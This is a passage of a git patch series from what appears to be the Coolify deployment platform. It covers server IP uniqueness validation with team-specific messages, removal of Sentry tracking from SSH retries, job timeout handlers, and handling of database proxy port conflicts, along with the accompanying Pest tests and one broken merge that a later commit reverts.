($this->isRetryableSshError($lastErrorMessage) && $attempt < $maxRetries - 1) { $delay = $this->calculateRetryDelay($attempt); - // Track SSH retry event in Sentry - $this->trackSshRetryEvent($attempt + 1, $maxRetries, $delay, $lastErrorMessage, $context); - // Add deployment log if available (for ExecuteRemoteCommand trait) if (isset($this->application_deployment_queue) && method_exists($this, 'addRetryLogEntry')) { $this->addRetryLogEntry($attempt + 1, $maxRetries, $delay, $lastErrorMessage); @@ -133,39 +130,4 @@ protected function executeWithSshRetry(callable $callback, array $context = [], return null; } - - /** - * Track SSH retry event in Sentry - */ - protected function trackSshRetryEvent(int $attempt, int $maxRetries, int $delay, string $errorMessage, array $context = []): void - { - // Only track in production/cloud instances - if (isDev() || ! config('constants.sentry.sentry_dsn')) { - return; - } - - try { - \Sentry\withScope(function (\Sentry\State\Scope $scope) use ($attempt, $maxRetries, $delay, $errorMessage, $context): void { - $scope->setExtras([ - 'attempt' => $attempt, - 'max_retries' => $maxRetries, - 'delay_seconds' => $delay, - 'error_message' => $errorMessage, - 'context' => $context, - 'retryable_error' => true, - ]); - $scope->setTags([ - 'component' => 'ssh_retry', - 'error_type' => 'connection_retry', - ]); - \Sentry\captureMessage('SSH connection retry triggered', \Sentry\Severity::warning()); - }); - } catch (\Throwable $e) { - // Don't let Sentry tracking errors break the SSH retry flow - Log::warning('Failed to track SSH retry event in Sentry', [ - 'error' => $e->getMessage(), - 'original_attempt' => $attempt, - ]); - } - } } From 76a770911c32f390b08f01ce244753ae108aee60 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Feb 2026 08:10:59 +0100 Subject: [PATCH 041/305] fix(server): improve IP uniqueness validation with team-specific error messages - Refactor server IP duplicate detection to use `first()` instead of `get()->count()` - Add team-scoped validation to distinguish between same-team and cross-team IP conflicts - Update error messages to clarify ownership: "already exists in your team" vs "in use by another team" - Apply consistent validation logic across API, boarding, and server management flows - Add comprehensive test suite for IP uniqueness enforcement across teams --- .../Controllers/Api/ServersController.php | 10 +- app/Livewire/Boarding/Index.php | 6 +- app/Livewire/Server/New/ByIp.php | 11 +- app/Livewire/Server/Show.php | 12 +- tests/Feature/ServerIpUniquenessTest.php | 110 ++++++++++++++++++ 5 files changed, 137 insertions(+), 12 deletions(-) create mode 100644 tests/Feature/ServerIpUniquenessTest.php diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index 2ee5455b6..a29839d14 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -519,9 +519,13 @@ public function create_server(Request $request) if (! $privateKey) { return response()->json(['message' => 'Private key not found.'], 404); } - $allServers = ModelsServer::whereIp($request->ip)->get(); - if ($allServers->count() > 0) { - return response()->json(['message' => 'Server with this IP already exists.'], 400); + $foundServer = ModelsServer::whereIp($request->ip)->first(); + if ($foundServer) { + if ($foundServer->team_id === $teamId) { + return response()->json(['message' => 'A server with this IP/Domain already exists in your team.'], 400); + } + + return response()->json(['message' => 'A server with this IP/Domain is already in use by another team.'], 400); } $proxyType = $request->proxy_type ? str($request->proxy_type)->upper() : ProxyTypes::TRAEFIK->value; diff --git a/app/Livewire/Boarding/Index.php b/app/Livewire/Boarding/Index.php index ab1a1aae9..0f6f45d83 100644 --- a/app/Livewire/Boarding/Index.php +++ b/app/Livewire/Boarding/Index.php @@ -283,7 +283,11 @@ public function saveServer() $this->privateKey = formatPrivateKey($this->privateKey); $foundServer = Server::whereIp($this->remoteServerHost)->first(); if ($foundServer) { - return $this->dispatch('error', 'IP address is already in use by another team.'); + if ($foundServer->team_id === currentTeam()->id) { + return $this->dispatch('error', 'A server with this IP/Domain already exists in your team.'); + } + + return $this->dispatch('error', 'A server with this IP/Domain is already in use by another team.'); } $this->createdServer = Server::create([ 'name' => $this->remoteServerName, diff --git a/app/Livewire/Server/New/ByIp.php b/app/Livewire/Server/New/ByIp.php index 1f4cdf607..eecdfb4d0 100644 --- a/app/Livewire/Server/New/ByIp.php +++ b/app/Livewire/Server/New/ByIp.php @@ -97,10 +97,13 @@ public function submit() $this->validate(); try { $this->authorize('create', Server::class); - if (Server::where('team_id', currentTeam()->id) - ->where('ip', $this->ip) - ->exists()) { - return $this->dispatch('error', 'This IP/Domain is already in use by another server in your team.'); + $foundServer = Server::whereIp($this->ip)->first(); + if ($foundServer) { + if ($foundServer->team_id === currentTeam()->id) { + return $this->dispatch('error', 'A server with this IP/Domain already exists in your team.'); + } + + return $this->dispatch('error', 'A server with this IP/Domain is already in use by another team.'); } if (is_null($this->private_key_id)) { diff --git a/app/Livewire/Server/Show.php b/app/Livewire/Server/Show.php index cc55da491..83c63a81c 100644 --- a/app/Livewire/Server/Show.php +++ b/app/Livewire/Server/Show.php @@ -189,12 +189,16 @@ public function syncData(bool $toModel = false) $this->validate(); $this->authorize('update', $this->server); - if (Server::where('team_id', currentTeam()->id) - ->where('ip', $this->ip) + $foundServer = Server::where('ip', $this->ip) ->where('id', '!=', $this->server->id) - ->exists()) { + ->first(); + if ($foundServer) { $this->ip = $this->server->ip; - throw new \Exception('This IP/Domain is already in use by another server in your team.'); + if ($foundServer->team_id === currentTeam()->id) { + throw new \Exception('A server with this IP/Domain already exists in your team.'); + } + + throw new \Exception('A server with this IP/Domain is already in use by another team.'); } $this->server->name = $this->name; diff --git a/tests/Feature/ServerIpUniquenessTest.php b/tests/Feature/ServerIpUniquenessTest.php new file mode 100644 index 000000000..705b1eddc --- /dev/null +++ b/tests/Feature/ServerIpUniquenessTest.php @@ -0,0 +1,110 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->privateKey = PrivateKey::create([ + 'name' => 'Test Key', + 'private_key' => 'test-key-content', + 'team_id' => $this->team->id, + ]); +}); + +it('detects duplicate ip within the same team', function () { + Server::factory()->create([ + 'ip' => '1.2.3.4', + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + ]); + + $foundServer = Server::whereIp('1.2.3.4')->first(); + + expect($foundServer)->not->toBeNull(); + expect($foundServer->team_id)->toBe($this->team->id); +}); + +it('detects duplicate ip from another team', function () { + $otherTeam = Team::factory()->create(); + + Server::factory()->create([ + 'ip' => '5.6.7.8', + 'team_id' => $otherTeam->id, + ]); + + $foundServer = Server::whereIp('5.6.7.8')->first(); + + expect($foundServer)->not->toBeNull(); + expect($foundServer->team_id)->not->toBe($this->team->id); +}); + +it('shows correct error message for same team duplicate in boarding', function () { + Server::factory()->create([ + 'ip' => '1.2.3.4', + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + ]); + + $foundServer = Server::whereIp('1.2.3.4')->first(); + if ($foundServer->team_id === currentTeam()->id) { + $message = 'A server with this IP/Domain already exists in your team.'; + } else { + $message = 'A server with this IP/Domain is already in use by another team.'; + } + + expect($message)->toBe('A server with this IP/Domain already exists in your team.'); +}); + +it('shows correct error message for other team duplicate in boarding', function () { + $otherTeam = Team::factory()->create(); + + Server::factory()->create([ + 'ip' => '5.6.7.8', + 'team_id' => $otherTeam->id, + ]); + + $foundServer = Server::whereIp('5.6.7.8')->first(); + if ($foundServer->team_id === currentTeam()->id) { + $message = 'A server with this IP/Domain already exists in your team.'; + } else { + $message = 'A server with this IP/Domain is already in use by another team.'; + } + + expect($message)->toBe('A server with this IP/Domain is already in use by another team.'); +}); + +it('allows adding ip that does not exist globally', function () { + $foundServer = Server::whereIp('10.20.30.40')->first(); + + expect($foundServer)->toBeNull(); +}); + +it('enforces global uniqueness not just team-scoped', function () { + $otherTeam = Team::factory()->create(); + + Server::factory()->create([ + 'ip' => '9.8.7.6', + 'team_id' => $otherTeam->id, + ]); + + // Global check finds the server even though it belongs to another team + $foundServer = Server::whereIp('9.8.7.6')->first(); + expect($foundServer)->not->toBeNull(); + + // Team-scoped check would miss it - this is why global check is needed + $teamScopedServer = Server::where('team_id', $this->team->id) + ->where('ip', '9.8.7.6') + ->first(); + expect($teamScopedServer)->toBeNull(); +}); From ce29dce9e79d9809f6577c3ffb665233fe1b5f94 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 15 Feb 2026 13:28:52 +0100 Subject: [PATCH 042/305] chore: prepare for PR --- app/Jobs/ServerConnectionCheckJob.php | 2 ++ 1 file changed, 2 insertions(+) diff --git a/app/Jobs/ServerConnectionCheckJob.php b/app/Jobs/ServerConnectionCheckJob.php index 9dbce4bfe..2625a26ae 100644 --- a/app/Jobs/ServerConnectionCheckJob.php +++ b/app/Jobs/ServerConnectionCheckJob.php @@ -107,6 +107,8 @@ public function handle() private function checkHetznerStatus(): void { + $status = null; + try { $hetznerService = new \App\Services\HetznerService($this->server->cloudProviderToken->token); $serverData = $hetznerService->getServer($this->server->hetzner_server_id); From 4a40009020cc67ef9311ef378bff5ea782e1e1c9 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 15 Feb 2026 13:42:58 +0100 Subject: [PATCH 043/305] chore: prepare for PR --- app/Jobs/ServerCheckJob.php | 14 ++++++++++++++ app/Jobs/ServerConnectionCheckJob.php | 19 ++++++++++++++++++- app/Jobs/ServerStorageCheckJob.php | 14 ++++++++++++++ 3 files changed, 46 insertions(+), 1 deletion(-) diff --git a/app/Jobs/ServerCheckJob.php b/app/Jobs/ServerCheckJob.php index 2ac92e72d..a18d45b9a 100644 --- a/app/Jobs/ServerCheckJob.php +++ b/app/Jobs/ServerCheckJob.php @@ -15,6 +15,7 @@ use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\Middleware\WithoutOverlapping; use Illuminate\Queue\SerializesModels; +use Illuminate\Support\Facades\Log; class ServerCheckJob implements ShouldBeEncrypted, ShouldQueue { @@ -33,6 +34,19 @@ public function middleware(): array public function __construct(public Server $server) {} + public function failed(?\Throwable $exception): void + { + if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) { + Log::warning('ServerCheckJob timed out', [ + 'server_id' => $this->server->id, + 'server_name' => $this->server->name, + ]); + + // Delete the queue job so it doesn't appear in Horizon's failed list. + $this->job?->delete(); + } + } + public function handle() { try { diff --git a/app/Jobs/ServerConnectionCheckJob.php b/app/Jobs/ServerConnectionCheckJob.php index 2625a26ae..d4a499865 100644 --- a/app/Jobs/ServerConnectionCheckJob.php +++ b/app/Jobs/ServerConnectionCheckJob.php @@ -101,7 +101,24 @@ public function handle() 'is_usable' => false, ]); - throw $e; + return; + } + } + + public function failed(?\Throwable $exception): void + { + if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) { + Log::warning('ServerConnectionCheckJob timed out', [ + 'server_id' => $this->server->id, + 'server_name' => $this->server->name, + ]); + $this->server->settings->update([ + 'is_reachable' => false, + 'is_usable' => false, + ]); + + // Delete the queue job so it doesn't appear in Horizon's failed list. + $this->job?->delete(); } } diff --git a/app/Jobs/ServerStorageCheckJob.php b/app/Jobs/ServerStorageCheckJob.php index 9d45491c6..51426d880 100644 --- a/app/Jobs/ServerStorageCheckJob.php +++ b/app/Jobs/ServerStorageCheckJob.php @@ -10,6 +10,7 @@ use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; +use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\RateLimiter; use Laravel\Horizon\Contracts\Silenced; @@ -28,6 +29,19 @@ public function backoff(): int public function __construct(public Server $server, public int|string|null $percentage = null) {} + public function failed(?\Throwable $exception): void + { + if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) { + Log::warning('ServerStorageCheckJob timed out', [ + 'server_id' => $this->server->id, + 'server_name' => $this->server->name, + ]); + + // Delete the queue job so it doesn't appear in Horizon's failed list. + $this->job?->delete(); + } + } + public function handle() { try { From b40926e915471fc8dc7ddea1a9b9e7a253391972 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 15 Feb 2026 13:43:08 +0100 Subject: [PATCH 044/305] chore: prepare for PR --- app/Jobs/PushServerUpdateJob.php | 3 + tests/Feature/PushServerUpdateJobTest.php | 76 +++++++++++++++++++++++ 2 files changed, 79 insertions(+) create mode 100644 tests/Feature/PushServerUpdateJobTest.php diff --git a/app/Jobs/PushServerUpdateJob.php b/app/Jobs/PushServerUpdateJob.php index c02a7e3c5..5d018cf19 100644 --- a/app/Jobs/PushServerUpdateJob.php +++ b/app/Jobs/PushServerUpdateJob.php @@ -207,6 +207,9 @@ public function handle() $serviceId = $labels->get('coolify.serviceId'); $subType = $labels->get('coolify.service.subType'); $subId = $labels->get('coolify.service.subId'); + if (empty($subId)) { + continue; + } if ($subType === 'application') { $this->foundServiceApplicationIds->push($subId); // Store container status for aggregation diff --git a/tests/Feature/PushServerUpdateJobTest.php b/tests/Feature/PushServerUpdateJobTest.php new file mode 100644 index 000000000..d508d58ab --- /dev/null +++ b/tests/Feature/PushServerUpdateJobTest.php @@ -0,0 +1,76 @@ +create(); + $service = Service::factory()->create([ + 'server_id' => $server->id, + ]); + $serviceApp = ServiceApplication::factory()->create([ + 'service_id' => $service->id, + ]); + + $data = [ + 'containers' => [ + [ + 'name' => 'test-container', + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => [ + 'coolify.managed' => true, + 'coolify.serviceId' => (string) $service->id, + 'coolify.service.subType' => 'application', + 'coolify.service.subId' => '', + ], + ], + ], + ]; + + $job = new PushServerUpdateJob($server, $data); + + // Run handle - should not throw a PDOException about empty bigint + $job->handle(); + + // The empty subId container should have been skipped + expect($job->foundServiceApplicationIds)->not->toContain(''); + expect($job->serviceContainerStatuses)->toBeEmpty(); +}); + +test('containers with valid service subId are processed', function () { + $server = Server::factory()->create(); + $service = Service::factory()->create([ + 'server_id' => $server->id, + ]); + $serviceApp = ServiceApplication::factory()->create([ + 'service_id' => $service->id, + ]); + + $data = [ + 'containers' => [ + [ + 'name' => 'test-container', + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => [ + 'coolify.managed' => true, + 'coolify.serviceId' => (string) $service->id, + 'coolify.service.subType' => 'application', + 'coolify.service.subId' => (string) $serviceApp->id, + 'com.docker.compose.service' => 'myapp', + ], + ], + ], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + expect($job->foundServiceApplicationIds)->toContain((string) $serviceApp->id); +}); From 1519666d4cbaea76e864b135c73bfb10d842391e Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 15 Feb 2026 13:46:08 +0100 Subject: [PATCH 045/305] chore: prepare for PR --- app/Actions/Database/StartDatabaseProxy.php | 54 ++++++++++++++++++--- tests/Feature/StartDatabaseProxyTest.php | 45 +++++++++++++++++ 2 files changed, 92 insertions(+), 7 deletions(-) create mode 100644 tests/Feature/StartDatabaseProxyTest.php diff --git a/app/Actions/Database/StartDatabaseProxy.php b/app/Actions/Database/StartDatabaseProxy.php index c634f14ba..4331c6ae7 100644 --- a/app/Actions/Database/StartDatabaseProxy.php +++ b/app/Actions/Database/StartDatabaseProxy.php @@ -112,12 +112,52 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St $dockercompose_base64 = base64_encode(Yaml::dump($docker_compose, 4, 2)); $nginxconf_base64 = base64_encode($nginxconf); instant_remote_process(["docker rm -f $proxyContainerName"], $server, false); - instant_remote_process([ - "mkdir -p $configuration_dir", - "echo '{$nginxconf_base64}' | base64 -d | tee $configuration_dir/nginx.conf > /dev/null", - "echo '{$dockercompose_base64}' | base64 -d | tee $configuration_dir/docker-compose.yaml > /dev/null", - "docker compose --project-directory {$configuration_dir} pull", - "docker compose --project-directory {$configuration_dir} up -d", - ], $server); + + try { + instant_remote_process([ + "mkdir -p $configuration_dir", + "echo '{$nginxconf_base64}' | base64 -d | tee $configuration_dir/nginx.conf > /dev/null", + "echo '{$dockercompose_base64}' | base64 -d | tee $configuration_dir/docker-compose.yaml > /dev/null", + "docker compose --project-directory {$configuration_dir} pull", + "docker compose --project-directory {$configuration_dir} up -d", + ], $server); + } catch (\RuntimeException $e) { + if ($this->isNonTransientError($e->getMessage())) { + $database->update(['is_public' => false]); + + $team = data_get($database, 'environment.project.team') + ?? data_get($database, 'service.environment.project.team'); + + $team?->notify( + new \App\Notifications\Container\ContainerRestarted( + "TCP Proxy for {$database->name} database has been disabled due to error: {$e->getMessage()}", + $server, + ) + ); + + ray("Database proxy for {$database->name} disabled due to non-transient error: {$e->getMessage()}"); + + return; + } + + throw $e; + } + } + + private function isNonTransientError(string $message): bool + { + $nonTransientPatterns = [ + 'port is already allocated', + 'address already in use', + 'Bind for', + ]; + + foreach ($nonTransientPatterns as $pattern) { + if (str_contains($message, $pattern)) { + return true; + } + } + + return false; } } diff --git a/tests/Feature/StartDatabaseProxyTest.php b/tests/Feature/StartDatabaseProxyTest.php new file mode 100644 index 000000000..c62569866 --- /dev/null +++ b/tests/Feature/StartDatabaseProxyTest.php @@ -0,0 +1,45 @@ +create(); + + $database = StandalonePostgresql::factory()->create([ + 'team_id' => $team->id, + 'is_public' => true, + 'public_port' => 5432, + ]); + + expect($database->is_public)->toBeTrue(); + + $action = new StartDatabaseProxy; + + // Use reflection to test the private method directly + $method = new ReflectionMethod($action, 'isNonTransientError'); + + expect($method->invoke($action, 'Bind for 0.0.0.0:5432 failed: port is already allocated'))->toBeTrue(); + expect($method->invoke($action, 'address already in use'))->toBeTrue(); + expect($method->invoke($action, 'some other error'))->toBeFalse(); +}); + +test('isNonTransientError detects port conflict patterns', function () { + $action = new StartDatabaseProxy; + $method = new ReflectionMethod($action, 'isNonTransientError'); + + expect($method->invoke($action, 'Bind for 0.0.0.0:5432 failed: port is already allocated'))->toBeTrue() + ->and($method->invoke($action, 'address already in use'))->toBeTrue() + ->and($method->invoke($action, 'Bind for 0.0.0.0:3306 failed: port is already allocated'))->toBeTrue() + ->and($method->invoke($action, 'network timeout'))->toBeFalse() + ->and($method->invoke($action, 'connection refused'))->toBeFalse(); +}); From da0e06a97e4cf219586c073529840685cfb4aa80 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 15 Feb 2026 13:48:01 +0100 Subject: [PATCH 046/305] chore: prepare for PR --- app/Traits/SshRetryable.php | 33 +++++++++++++++------------------ 1 file changed, 15 insertions(+), 18 deletions(-) diff --git a/app/Traits/SshRetryable.php b/app/Traits/SshRetryable.php index a26481056..4366558ef 100644 --- a/app/Traits/SshRetryable.php +++ b/app/Traits/SshRetryable.php @@ -145,24 +145,21 @@ protected function trackSshRetryEvent(int $attempt, int $maxRetries, int $delay, } try { - app('sentry')->captureMessage( - 'SSH connection retry triggered', - \Sentry\Severity::warning(), - [ - 'extra' => [ - 'attempt' => $attempt, - 'max_retries' => $maxRetries, - 'delay_seconds' => $delay, - 'error_message' => $errorMessage, - 'context' => $context, - 'retryable_error' => true, - ], - 'tags' => [ - 'component' => 'ssh_retry', - 'error_type' => 'connection_retry', - ], - ] - ); + \Sentry\withScope(function (\Sentry\State\Scope $scope) use ($attempt, $maxRetries, $delay, $errorMessage, $context): void { + $scope->setExtras([ + 'attempt' => $attempt, + 'max_retries' => $maxRetries, + 'delay_seconds' => $delay, + 'error_message' => $errorMessage, + 'context' => $context, + 'retryable_error' => true, + ]); + $scope->setTags([ + 'component' => 'ssh_retry', + 'error_type' => 'connection_retry', + ]); + \Sentry\captureMessage('SSH connection retry triggered', \Sentry\Severity::warning()); + }); } catch (\Throwable $e) { // Don't let Sentry tracking errors break the SSH retry flow Log::warning('Failed to track SSH retry event in Sentry', [ From 211ab3704533ef4f1d2ace2847f2a649c2e85c84 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 15 Feb 2026 14:00:27 +0100 Subject: [PATCH 047/305] refactor(ssh-retry): remove Sentry tracking from retry logic Remove the trackSshRetryEvent() method and its invocation from the SSH retry flow. This simplifies the retry mechanism and reduces external dependencies for retry handling. --- app/Traits/SshRetryable.php | 38 ------------------------------------- 1 file changed, 38 deletions(-) diff --git a/app/Traits/SshRetryable.php b/app/Traits/SshRetryable.php index 4366558ef..2092dc5f3 100644 --- a/app/Traits/SshRetryable.php +++ b/app/Traits/SshRetryable.php @@ -95,9 +95,6 @@ protected function executeWithSshRetry(callable $callback, array $context = [], if ($this->isRetryableSshError($lastErrorMessage) && $attempt < $maxRetries - 1) { $delay = $this->calculateRetryDelay($attempt); - // Track SSH retry event in Sentry - $this->trackSshRetryEvent($attempt + 1, $maxRetries, $delay, $lastErrorMessage, $context); - // Add deployment log if available (for ExecuteRemoteCommand trait) if (isset($this->application_deployment_queue) && method_exists($this, 'addRetryLogEntry')) { $this->addRetryLogEntry($attempt + 1, $maxRetries, $delay, $lastErrorMessage); @@ -133,39 +130,4 @@ protected function executeWithSshRetry(callable $callback, array $context = [], return null; } - - /** - * Track SSH retry event in Sentry - */ - protected function trackSshRetryEvent(int $attempt, int $maxRetries, int $delay, string $errorMessage, array $context = []): void - { - // Only track in production/cloud instances - if (isDev() || ! config('constants.sentry.sentry_dsn')) { - return; - } - - try { - \Sentry\withScope(function (\Sentry\State\Scope $scope) use ($attempt, $maxRetries, $delay, $errorMessage, $context): void { - $scope->setExtras([ - 'attempt' => $attempt, - 'max_retries' => $maxRetries, - 'delay_seconds' => $delay, - 'error_message' => $errorMessage, - 'context' => $context, - 'retryable_error' => true, - ]); - $scope->setTags([ - 'component' => 'ssh_retry', - 'error_type' => 'connection_retry', - ]); - \Sentry\captureMessage('SSH connection retry triggered', \Sentry\Severity::warning()); - }); - } catch (\Throwable $e) { - // Don't let Sentry tracking errors break the SSH retry flow - Log::warning('Failed to track SSH retry event in Sentry', [ - 'error' => $e->getMessage(), - 'original_attempt' => $attempt, - ]); - } - } } From b56688978271d8891bf42ded146b01b2a0690922 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 15 Feb 2026 14:14:11 +0100 Subject: [PATCH 048/305] merge fix --- app/Actions/Database/StartDatabaseProxy.php | 52 ++++++++++++++++++--- 1 file changed, 46 insertions(+), 6 deletions(-) diff --git a/app/Actions/Database/StartDatabaseProxy.php b/app/Actions/Database/StartDatabaseProxy.php index 4331c6ae7..bebc056c5 100644 --- a/app/Actions/Database/StartDatabaseProxy.php +++ b/app/Actions/Database/StartDatabaseProxy.php @@ -113,14 +113,16 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St $nginxconf_base64 = base64_encode($nginxconf); instant_remote_process(["docker rm -f $proxyContainerName"], $server, false); + try { + try { instant_remote_process([ - "mkdir -p $configuration_dir", - "echo '{$nginxconf_base64}' | base64 -d | tee $configuration_dir/nginx.conf > /dev/null", - "echo '{$dockercompose_base64}' | base64 -d | tee $configuration_dir/docker-compose.yaml > /dev/null", - "docker compose --project-directory {$configuration_dir} pull", - "docker compose --project-directory {$configuration_dir} up -d", - ], $server); + "mkdir -p $configuration_dir", + "echo '{$nginxconf_base64}' | base64 -d | tee $configuration_dir/nginx.conf > /dev/null", + "echo '{$dockercompose_base64}' | base64 -d | tee $configuration_dir/docker-compose.yaml > /dev/null", + "docker compose --project-directory {$configuration_dir} pull", + "docker compose --project-directory {$configuration_dir} up -d", + ], $server); } catch (\RuntimeException $e) { if ($this->isNonTransientError($e->getMessage())) { $database->update(['is_public' => false]); @@ -144,6 +146,44 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St } } + private function isNonTransientError(string $message): bool + { + $nonTransientPatterns = [ + 'port is already allocated', + 'address already in use', + 'Bind for', + ]; + + foreach ($nonTransientPatterns as $pattern) { + if (str_contains($message, $pattern)) { + return true; + } + } + + return false; + } catch (\RuntimeException $e) { + if ($this->isNonTransientError($e->getMessage())) { + $database->update(['is_public' => false]); + + $team = data_get($database, 'environment.project.team') + ?? data_get($database, 'service.environment.project.team'); + + $team?->notify( + new \App\Notifications\Container\ContainerRestarted( + "TCP Proxy for {$database->name} was disabled due to error: {$e->getMessage()}", + $server, + ) + ); + + ray("Database proxy for {$database->name} disabled due to non-transient error: {$e->getMessage()}"); + + return; + } + + throw $e; + } + } + private function isNonTransientError(string $message): bool { $nonTransientPatterns = [ From f05b7106cfb75bb1702e33110939037fc9eaecd0 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 15 Feb 2026 13:46:08 +0100 Subject: [PATCH 049/305] chore: prepare for PR --- app/Actions/Database/StartDatabaseProxy.php | 52 +++------------------ 1 file changed, 6 insertions(+), 46 deletions(-) diff --git a/app/Actions/Database/StartDatabaseProxy.php b/app/Actions/Database/StartDatabaseProxy.php index bebc056c5..4331c6ae7 100644 --- a/app/Actions/Database/StartDatabaseProxy.php +++ b/app/Actions/Database/StartDatabaseProxy.php @@ -113,16 +113,14 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St $nginxconf_base64 = base64_encode($nginxconf); instant_remote_process(["docker rm -f $proxyContainerName"], $server, false); - try { - try { instant_remote_process([ - "mkdir -p $configuration_dir", - "echo '{$nginxconf_base64}' | base64 -d | tee $configuration_dir/nginx.conf > /dev/null", - "echo '{$dockercompose_base64}' | base64 -d | tee $configuration_dir/docker-compose.yaml > /dev/null", - "docker compose --project-directory {$configuration_dir} pull", - "docker compose --project-directory {$configuration_dir} up -d", - ], $server); + "mkdir -p $configuration_dir", + "echo '{$nginxconf_base64}' | base64 -d | tee $configuration_dir/nginx.conf > /dev/null", + "echo '{$dockercompose_base64}' | base64 -d | tee $configuration_dir/docker-compose.yaml > /dev/null", + "docker compose --project-directory {$configuration_dir} pull", + "docker compose --project-directory {$configuration_dir} up -d", + ], $server); } catch (\RuntimeException $e) { if ($this->isNonTransientError($e->getMessage())) { $database->update(['is_public' => false]); @@ -146,44 +144,6 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St } } - private function isNonTransientError(string $message): bool - { - $nonTransientPatterns = [ - 'port is already allocated', - 'address already in use', - 'Bind for', - ]; - - foreach ($nonTransientPatterns as $pattern) { - if (str_contains($message, $pattern)) { - return true; - } - } - - return false; - } catch (\RuntimeException $e) { - if ($this->isNonTransientError($e->getMessage())) { - $database->update(['is_public' => false]); - - $team = data_get($database, 'environment.project.team') - ?? data_get($database, 'service.environment.project.team'); - - $team?->notify( - new \App\Notifications\Container\ContainerRestarted( - "TCP Proxy for {$database->name} was disabled due to error: {$e->getMessage()}", - $server, - ) - ); - - ray("Database proxy for {$database->name} disabled due to non-transient error: {$e->getMessage()}"); - - return; - } - - throw $e; - } - } - private function isNonTransientError(string $message): bool { $nonTransientPatterns = [ From 25ccde83fa8d4a4565db69aace28681b59ba308e Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Mon, 16 Feb 2026 00:04:05 +0100 Subject: [PATCH 050/305] fix(api): add a newline to openapi.json --- app/Console/Commands/Generate/OpenApi.php | 3 ++- openapi.json | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/app/Console/Commands/Generate/OpenApi.php b/app/Console/Commands/Generate/OpenApi.php index 2b266c258..224c10792 100644 --- a/app/Console/Commands/Generate/OpenApi.php +++ b/app/Console/Commands/Generate/OpenApi.php @@ -32,7 +32,8 @@ public function handle() echo $process->output(); $yaml = file_get_contents('openapi.yaml'); - $json = json_encode(Yaml::parse($yaml), JSON_PRETTY_PRINT); + + $json = json_encode(Yaml::parse($yaml), JSON_PRETTY_PRINT)."\n"; file_put_contents('openapi.json', $json); echo "Converted OpenAPI YAML to JSON.\n"; } diff --git a/openapi.json b/openapi.json index cbd79ca1d..f5da0883f 100644 --- a/openapi.json +++ b/openapi.json @@ -11300,4 +11300,4 @@ "description": "Teams" } ] -} \ No newline at end of file +} From b2f9137ee9137ba62b6fa9e39bdbccadc0a14996 Mon Sep 17 00:00:00 2001 From: John Rallis Date: Mon, 16 Feb 2026 12:24:00 +0200 Subject: [PATCH 051/305] Fix Grist service template --- templates/compose/grist.yaml | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/templates/compose/grist.yaml b/templates/compose/grist.yaml index 89f1692b1..e3b8ee70e 100644 --- a/templates/compose/grist.yaml +++ b/templates/compose/grist.yaml @@ -3,16 +3,15 @@ # category: productivity # tags: lowcode, nocode, spreadsheet, database, relational # logo: svgs/grist.svg -# port: 443 +# port: 8484 services: grist: image: gristlabs/grist:latest environment: - - SERVICE_URL_GRIST_443 - APP_HOME_URL=${SERVICE_URL_GRIST} - APP_DOC_URL=${SERVICE_URL_GRIST} - - GRIST_DOMAIN=${SERVICE_URL_GRIST} + - GRIST_DOMAIN=${SERVICE_FQDN_GRIST} - TZ=${TZ:-UTC} - GRIST_SUPPORT_ANON=${SUPPORT_ANON:-false} - GRIST_FORCE_LOGIN=${FORCE_LOGIN:-true} @@ -20,7 +19,7 @@ services: - GRIST_PAGE_TITLE_SUFFIX=${PAGE_TITLE_SUFFIX:- - Suffix} - GRIST_HIDE_UI_ELEMENTS=${HIDE_UI_ELEMENTS:-billing,sendToDrive,supportGrist,multiAccounts,tutorials} - GRIST_UI_FEATURES=${UI_FEATURES:-helpCenter,billing,templates,createSite,multiSite,sendToDrive,tutorials,supportGrist} - - GRIST_DEFAULT_EMAIL=${DEFAULT_EMAIL:-test@example.com} + - GRIST_DEFAULT_EMAIL=${DEFAULT_EMAIL:-?} - 